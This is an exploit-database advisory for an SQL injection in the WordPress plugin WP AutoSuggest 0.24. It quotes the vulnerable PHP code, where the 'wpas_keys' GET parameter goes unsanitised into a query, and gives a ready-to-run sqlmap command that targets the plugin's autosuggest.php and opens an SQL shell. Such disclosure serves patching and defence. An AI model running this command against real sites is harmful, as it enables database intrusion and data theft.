WordPress Plugin AutoSuggest 0.24 - 'wpas_keys' SQL Injection

Author: Kaimi
type: webapps
platform: php
port: 80.0
date_added: 2018-12-11 
date_updated: 2018-12-12 
verified: 0 
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tags: SQL Injection (SQLi)
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application_url: http://www.exploit-db.comwp-autosuggest.0.24.zip

# Exploit Title: WP AutoSuggest 0.24 - SQL Injection
# Date: 01-12-2018
# Software Link: https://wordpress.org/plugins/wp-autosuggest/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.24
# Category: webapps

SQL Injection
File: autosuggest.php

Vulnerable code:
if (isset($_GET['wpas_keys'])) {
	$wpas_keys = $_GET['wpas_keys'];
}
...
$wpas_keys = str_replace(' ','%',$wpas_keys);
	$pageposts = $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE (post_title LIKE '%$wpas_keys%') AND post_status = 'publish' ORDER BY post_date DESC");


Exploitation example:

sqlmap -u "http://URL/wp-content/plugins/wp-autosuggest/autosuggest.php?wpas_action=query&wpas_keys=1" --technique BT --dbms MYSQL --risk 3 --level 5 -p wpas_keys --tamper space2comment --sql-shell